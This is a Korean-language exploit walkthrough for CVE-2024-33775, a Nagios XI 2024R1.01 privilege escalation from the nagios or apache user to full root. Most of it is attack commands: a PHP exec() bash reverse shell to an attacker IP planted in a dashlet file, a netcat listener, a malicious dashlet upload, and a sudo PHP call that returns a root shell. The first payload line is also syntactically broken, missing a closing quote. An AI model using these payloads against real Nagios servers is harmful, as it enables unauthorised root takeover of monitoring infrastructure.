CVE-2024-33775

CVE 발견자: K. Wahab (Neo`X)

취약점 세부 사항:

• 제품: Nagios XI 버전 2024R1.01
• 취약점: 사용자 "NAGIOS" 또는 "APACHE"로부터의 권한 상승
• 결과: 대상 시스템에서 완전한 루트 접근
• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

익스플로잇:

RSS Dashlet이 이 예제에서 사용됩니다.

1. Nagios XI의 새 인스턴스 생성:

• Nagios XI 버전 2024R1.01 OVA 파일을 다음에서 다운로드할 수 있습니다: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. 권한 상승:

NAGIOS로 익스플로잇:

• "/usr/local/nagiosxi/html/includes/dashlets/" 디렉토리의 dashlet .inc.php 파일 안에 다음 내용을 추가합니다:

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• 공격자 시스템에서 Netcat 리스닝 서버를 시작합니다:

nc -nlvp 4441

• 다음 명령을 실행하여 권한을 상승시키고 root로 연결을 수신합니다:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

APACHE로 익스플로잇:

• "dashlets" 관리 페이지로 이동하여 Dashlet을 다운로드합니다:

  root@kitploit:~

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• *.inc.php 파일을 수정합니다:

  root@kitploit:~

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• 공격자 시스템에서 Netcat 리스닝 서버를 시작합니다:

nc -nlvp 4441

• dashlets 관리 페이지에서 악성 dashlet을 업로드하고 APACHE 사용자로 연결을 기다립니다.
• 다음 명령을 실행하여 권한을 상승시키고 root로 연결을 수신합니다:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(참고: 명령 실행 후 APACHE로 연결을 받게 됩니다. CTRL+C를 눌러 종료하고 리스너를 여러 번 다시 시작하십시오.)